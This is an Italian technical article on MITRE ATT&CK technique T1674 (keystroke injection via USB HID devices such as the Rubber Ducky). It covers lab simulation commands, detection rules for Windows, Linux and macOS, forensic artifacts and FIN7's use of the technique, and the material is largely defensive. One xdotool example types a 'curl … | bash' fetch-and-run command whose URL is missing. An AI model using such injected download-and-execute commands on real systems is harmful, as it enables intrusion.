Iniezione di Input: Input Injection (T1674)

La simulazione di Input Injection in laboratorio è uno degli esercizi più immediati del red teaming fisico. Lo strumento di riferimento è il USB Rubber Ducky di Hak5 (a pagamento), un dispositivo che si presenta al sistema operativo come tastiera HID e digita payload preconfigurati in linguaggio DuckyScript. In alternativa, schede come Arduino Leonardo o Teensy (a pagamento, hardware) possono essere programmate per lo stesso scopo con costi inferiori.

Per un test software-only su Windows, senza hardware esterno, PowerShell offre la classe .NET System.Windows.Forms.SendKeys. Un semplice script che simula la pressione di tasti in un'applicazione attiva dimostra il principio:

Add-Type -AssemblyName System.Windows.Forms; Start-Sleep -Seconds 2; [System.Windows.Forms.SendKeys]::SendWait("calc{ENTER}")

Questo frammento attende due secondi e poi "digita" il comando calc seguito da Invio nella finestra con focus — simulando esattamente ciò che farebbe un dispositivo HID malevolo. In un engagement reale, la sequenza sarebbe più articolata: apertura di una shell tramite combinazione Win+R, digitazione del comando di download, esecuzione.

Su Linux l'equivalente è xdotool (open source), un tool che permette di simulare input da tastiera e mouse su X11:

xdotool key super; sleep 1; xdotool type --delay 50 "bash -c 'curl -s | bash'"

Per macOS, osascript è nativo e consente iniezione di keystroke tramite AppleScript:

osascript -e 'tell application "System Events" to keystroke "t" using command down'

Questo comando simula la pressione di Cmd+T — utile per aprire un terminale in contesti dove l'applicazione Terminal è in primo piano.

Per il test con Rubber Ducky, un payload DuckyScript classico di tipo "reverse shell" segue questa struttura logica: attesa iniziale (per permettere l'enumerazione USB), apertura di PowerShell tramite combinazione di tasti, digitazione del comando di download ed esecuzione. Lo strumento DuckToolkit (open source) e l'encoder ufficiale Hak5 permettono di compilare il payload in formato binario da caricare sulla microSD del dispositivo.

Il consiglio operativo è di testare sempre in ambiente controllato con un endpoint monitorato dall'EDR aziendale, così da validare simultaneamente la capacità di detection. Cronometrate il tempo tra inserimento USB e primo beacon C2: un Rubber Ducky ben configurato completa l'intera catena in meno di 15 secondi, il che definisce la finestra di detection a disposizione del SOC.

La detection dell'Input Injection poggia su due pilastri: il rilevamento dell'hardware malevolo e la correlazione temporale tra connessione di un nuovo dispositivo ed esecuzione di script. Le log source critiche sono WinEventLog:System, WinEventLog:Security, WinEventLog:PowerShell su Windows, auditd su Linux e Unified Log su macOS, come indicato dalle analisi AN1567, AN1568 e AN1569.

Su Windows il punto di partenza è l'Event ID 6416 (Security log), che registra il riconoscimento di un nuovo dispositivo di sistema, e l'Event ID 20001 (DeviceSetup Manager), che traccia l'installazione dei driver. La regola di detection principale correla questi eventi con la comparsa di processi PowerShell o cmd.exe entro una finestra temporale ristretta — indicativamente sotto i 10 secondi. Un Rubber Ducky inizia a "digitare" quasi istantaneamente dopo l'enumerazione USB, e il pattern è riconoscibile: nessun processo explorer.exe come parent plausibile, sequenza di caratteri digitati a velocità costante (nessuna varianza umana), e spesso esecuzione di script da directory temporanee.

Il tuning è fondamentale per evitare falsi positivi. Le tre leve principali sono:

• AuthorizedUSBDevices: whitelist dei Vendor ID e Product ID dei dispositivi USB legittimi aziendali — tutto ciò che non rientra nella lista genera un alert a bassa severità.
• ExecutionTimeWindow: restringere la detection alle fasce orarie fuori dall'orario di lavoro o quando nessun utente è loggato aumenta drasticamente il rapporto segnale/rumore.
• ParentProcessWhitelist: i processi parent legittimi che possono avviare PowerShell o interpreti di script (ad esempio, SCCM, strumenti di gestione) vanno esclusi dalla correlazione.

Su Linux la detection si concentra sull'enumerazione in /sys/bus/usb/devices/ tramite regole auditd che monitorano l'accesso a queste path, correlate con l'esecuzione di bash o python in rapida successione. Il parametro ScriptExecutionThreshold — tempo tra evento HID e primo comando — va calibrato sotto i 10 secondi per catturare i payload automatici.

Su macOS il comando ioreg -p IOUSB espone i dispositivi connessi; il Unified Log traccia sia la connessione che l'eventuale esecuzione di osascript o AppleScript. La whitelist AllowedAppleScripts riduce il rumore negli ambienti dove l'automazione via AppleScript è diffusa.

Come misura preventiva, la mitigazione M1034 – Limit Hardware Installation prevede la disabilitazione delle porte USB tramite GPO (percorso: Computer Configuration > Administrative Templates > System > Removable Storage Access), il whitelisting dei dispositivi per serial number e il deploy di soluzioni di Device Control come Microsoft Defender for Endpoint (a pagamento) o OSSEC (open source). La mitigazione M1038 – Execution Prevention aggiunge un secondo livello: AppLocker o WDAC (inclusi in Windows Enterprise) per bloccare esecuzioni da directory scrivibili dall'utente, e PowerShell Constrained Language Mode per limitare l'accesso a elementi pericolosi come Add-Type.

L'analisi forense di un incidente da Input Injection parte da un vantaggio: il dispositivo fisico lascia tracce nell'infrastruttura di enumerazione USB del sistema operativo, e le azioni eseguite tramite keystroke simulati generano gli stessi artefatti di un'interazione utente reale — ma con pattern temporali anomali.

Su Windows, il primo artefatto è il registro di sistema. La chiave HKLM\SYSTEM\CurrentControlSet\Enum\USB contiene la storia di tutti i dispositivi USB collegati, inclusi Vendor ID, Product ID e serial number. Un Rubber Ducky o un Arduino Leonardo si presenta come tastiera HID con VID/PID specifici — spesso non corrispondenti a produttori noti di periferiche. La chiave HKLM\SYSTEM\CurrentControlSet\Enum\HID fornisce dettagli aggiuntivi sull'interfaccia HID registrata.

Il file setupapi.dev.log (in *C:\Windows\INF*) registra con timestamp preciso ogni installazione di driver per nuovi dispositivi. Cercate entry relative a dispositivi di classe HID con timestamp che precedono di pochi secondi l'avvio di processi sospetti. Questo è il punto di ancoraggio della timeline.

Per ricostruire cosa è stato eseguito dopo l'iniezione, i log di PowerShell sono la fonte primaria. Il Module Logging (Event ID 4103) e lo Script Block Logging (Event ID 4104) catturano il contenuto effettivo degli script eseguiti — incluso il codice digitato carattere per carattere dal dispositivo HID. Il Transcription Logging, se abilitato, produce file di testo con l'intera sessione PowerShell, incluso il working directory e l'utente.

Gli artefatti di Prefetch (*C:\Windows\Prefetch*) confermano l'esecuzione di binari come powershell.exe o cmd.exe e il loro timestamp di ultimo utilizzo. Correlate il timestamp del Prefetch con quello del setupapi per stabilire la catena causale: connessione USB → installazione driver HID → esecuzione PowerShell → eventuale download del payload.

Su Linux, i log del kernel (dmesg o /var/log/kern.log) registrano la connessione di dispositivi USB con i relativi descrittori. Le regole auditd, se configurate, catturano le syscall execve lanciate nei secondi successivi — ricostruendo la sequenza di comandi iniettati. Il file /var/log/auth.log può contenere sessioni sudo invocate tramite keystroke simulati.

Su macOS, il database system_profiler SPUSBDataType e il comando ioreg -p IOUSB -l producono snapshot dei dispositivi USB connessi. Il Unified Log filtrato per la categoria IOKit mostra la timeline di connessione, mentre i log di processo (visibili tramite log show --predicate 'process == "osascript"') rivelano eventuali script eseguiti via keystroke injection.

Un elemento spesso trascurato è la clipboard: se il vettore d'attacco prevede l'incollaggio di codice dalla clipboard (come nel caso del banking trojan descritto nella tecnica), l'analisi della memoria volatile con Volatility (open source) può recuperare il contenuto della clipboard al momento dell'acquisizione del dump.

Il panorama dei threat actor che impiegano Input Injection è attualmente circoscritto ma emblematico di una tendenza precisa: l'uso di vettori fisici per bypassare controlli software.

FIN7 (G0046) rappresenta il caso documentato principale. Questo gruppo a motivazione finanziaria ha impiegato chiavette USB malevole che emulano tastiere HID per lanciare PowerShell, scaricare ed eseguire malware dal server C2 dell'attaccante. La scelta di FIN7 non è casuale: il gruppo opera storicamente contro settori ad alto valore transazionale — retail, hospitality, ristorazione — dove l'accesso fisico ai terminali è relativamente agevole e il personale non sempre è formato sul rischio dei dispositivi USB sconosciuti.

Il pattern operativo di FIN7 con questa tecnica è significativo dal punto di vista dell'intelligence. L'uso di dispositivi USB implica una fase di accesso fisico o social engineering preliminare: i dispositivi devono essere consegnati alla vittima o posizionati in luoghi dove verranno collegati. FIN7 ha storicamente dimostrato sofisticazione nell'ingegneria sociale — si pensi alle campagne di spear-phishing — e l'invio di chiavette USB in pacchi regalo o come gadget aziendali si inserisce coerentemente nel loro playbook.

Dal punto di vista della proiezione, l'Input Injection via HID è una tecnica con un rapporto costo-efficacia interessante per gruppi con capacità logistica. Il costo di un dispositivo HID malevolo è trascurabile; il payload è personalizzabile; la velocità di esecuzione rende la finestra di detection estremamente breve. Questo la rende appetibile non solo per gruppi financial crime come FIN7 ma potenzialmente per operazioni che richiedono accesso iniziale in ambienti air-gapped o segmentati, dove i vettori di rete tradizionali non funzionano.

L'aspetto software dell'Input Injection — malware che monitora il message loop di Windows per iniettare keystroke contestuali, come nel caso del banking trojan che manipola le transazioni — rappresenta un'evoluzione più insidiosa. Qui il vettore fisico non è necessario: è sufficiente che il malware sia già residente e operi come overlay sulle sessioni bancarie dell'utente. Questo secondo pattern si allinea con le tecniche di web injection tradizionali ma le supera in elusività, perché non modifica il DOM del browser dall'interno ma simula azioni utente dall'esterno.

Per il monitoraggio proattivo, l'analista TI dovrebbe tracciare i marketplace underground che vendono payload DuckyScript preconfigurati e dispositivi HID programmabili, e correlare eventuali campagne di social engineering che coinvolgono invio di pacchi o gadget USB a dipendenti di organizzazioni target.

Framework MITRE ATT&CK — Tecnica T1674 (Input Injection), Tattica TA0002 (Execution), Gruppo G0046 (FIN7), Mitigazioni M1034 e M1038, Detection DET0568 con analisi AN1567, AN1568 e AN1569. Integrato con conoscenza professionale per tool e procedure operative.